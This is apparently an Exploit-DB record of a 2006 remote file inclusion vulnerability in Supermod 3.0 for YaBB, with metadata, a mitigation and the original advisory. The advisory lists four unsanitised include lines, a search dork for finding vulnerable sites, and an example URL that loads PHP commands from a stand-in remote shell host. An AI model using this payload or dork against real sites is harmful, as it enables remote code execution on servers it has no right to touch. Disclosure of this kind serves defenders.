Remote file include vuln found by sZ

vendor:

Supermod 3.0 for yabb

by:

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Supermod 3.0 for yabb

Affected Version From: 3.0

Affected Version To: 3.0

Patch Exists: YES

Related CWE: N/A

CPE: a:supermod:supermod:3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Remote file include vuln found by sZ

A Remote File Inclusion (RFI) vulnerability was found in Supermod 3.0 for yabb. The vulnerable files are Offline.php, Sources/Admin.php, Sources/Offline.php and content/portalshow.php. The vulnerable code in each file is an include statement that does not include the settings.php file. An example exploit URL is http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

Mitigation:

Ensure that all include statements are properly sanitized and that the settings.php file is included in all include statements.

Source

Exploit-DB raw data:

[DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
[SOFTWARE]    Supermod 3.0 for yabb
[VENDOR URL]  http://www.supermod.org
[DORK]        YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
[NOTES]       greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.
 

VULN:
Offline.php
include("$sourcedir/pclzip.lib.php");
They forgot to include settings.php, this file seems to not exist sometimes.
 
VULN:
Sources/Admin.php
include_once("$sourcedir/Recent.php");
 
VULN:
Sources/Offline.php
include_once("$sourcedir/Recent.php");
 
VULN:
content/portalshow.php
include_once "$sourcedir/Calendar.php";
 
[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

# milw0rm.com [2006-10-13]